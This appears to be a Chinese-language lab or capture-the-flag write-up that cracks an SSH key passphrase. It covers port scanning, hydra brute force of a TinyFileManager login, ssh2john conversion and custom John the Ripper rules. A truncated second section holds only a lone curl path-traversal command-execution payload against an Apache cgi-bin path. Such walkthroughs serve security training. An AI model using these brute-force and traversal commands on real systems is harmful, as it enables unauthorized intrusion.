SSH 私鑰密碼破解
SSH 私鑰密碼破解
第一台靶機 IP : 192.168.197.201
題目描述 : 通過破解私鑰密碼,使用 SSH 訪問 2222 Port 在用戶 dave 的主目錄中找到該標誌
第一步 rustscan,掃出 22、2222、8080
└─$ rustscan -a 192.168.197.201 --scripts none --ulimit 5000
訪問 8080 網站看看,是 TinyFileManager CMS 系統
先隨便登入送到 Burp Suite 查看是 POST 與帳號密碼欄位是 fm_usr & fm_pwd
透過原廠文件知道預設有 admin & user 兩種帳號,使用 hydra 暴力破解 user 密碼
└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.197.201 -s 8080 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
登入網站 user / 121212,看到 id_rsa 私密金鑰,並查看 note.txt
id_rsa 為 private key
點選上圖的 Download 下載回來
另外查看 note.txt 檔案內容如下圖,可以看到有一些密碼列表,跟下方有說明新的密碼政策
- 3 個數字
- 1 個大寫字母
- 1 個特殊符號
先修改剛剛下載回來的 id_rsa 檔案的權限 chmod 600 id_rsa
透過 ssh 指令登入 ssh -i id_rsa -p 2222 dave@192.168.197.201
要求輸入密碼,使用 note.txt 裡面的密碼試試看,發現都無法過關
看來要破解 private key 的密碼
先用 jth 轉 private key 的 hash 生成 ssh.hash 檔案,指令 ssh2john id_rsa > ssh.hash
hash 開頭為 id_rsa:$sshng$6$16$7059e78a8d3764ea1e8~~~~
透過 hashcat 指令查查看 mode,hashcat -h | grep -i "ssh"
查找線上網站 https://hashcat.net/wiki/doku.php?id=example_hashes 如下圖
由於剛剛的密碼無法過關加上有看到密碼原則的新規定
所以我們先將 note.txt 拿到的密碼複製下來存成一個檔案取名為 ssh.passwords
然後依據新密碼規定原則創建一個 rule 如下
- 3 個數字 --> 依據 note.txt 我們使用 137 來當作數字,這是因為人的習慣問題
- 1 個大寫字母 --> 使用參數 c 修改第一個字母為大寫,這也是人的習慣問題
- 1 個特殊符號 --> 這裡使用三種特殊符號 !、@、#,所以共三行變異密碼表
另外記得原有的 ssh.hash 開頭的 id_rsa: 要拿掉讓 hash 檔案內容開頭如下符合 mode
直接 hashcat 破解 hash,指令 hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force
結果 GG,竟然報錯
Hashfile 'ssh.hash' on line 1 ($sshng...cfeadfb412288b183df308632$16$486): Token length exception
錯誤表明 Token 長度異常
上網 Google 了一下錯誤訊息,參考這個 https://hashcat.net/forum/thread-10662.html
表明 aes-256-ctr mode isn't supported yet by mode 22921
hashcat 工具無法處理那就換個工具吧,改用開膛手約翰 JtR
所以現在要換工具,但不同工具使用的 rule 規則不同,現在要編寫一個 JtR 可以使用的 rule
JtR 使用的 rule 一定要存到設定檔中,設定檔路徑 /etc/john/john.conf
另外規則 rule 要寫明 “List.Rules” 於規則檔案開頭,編寫完成的新規則內容如下
該 rule 在 john 工具中使用的名稱就稱為 sshRules
使用 sh -c 指令去 cat rule 然後寫入到 john.conf 之中
指令 : sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'
cat /etc/john/john.conf 可以看到規則寫入到設定檔的最下面了
JtR,john 的規則設定完成,那就直接破解 hash 看看吧
指令 john --wordlist=ssh.passwords --rules=sshRules ssh.hash
--wordlist : 字典檔
--rules : 要套用的規則
很快的破解出來了,密碼是 Umbrella137!
那就重新透過 ssh 指令登入 ssh -i id_rsa -p 2222 dave@192.168.197.201
然後輸入密碼 Umbrella137!,成功登入後獲取 flag.txt 吧
第二台靶機 IP : 192.168.197.201
除了告知從 2222 Port 登入外沒有其他任何資訊,第一步一樣先 rustscan
22、80、2222
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
留言
張貼留言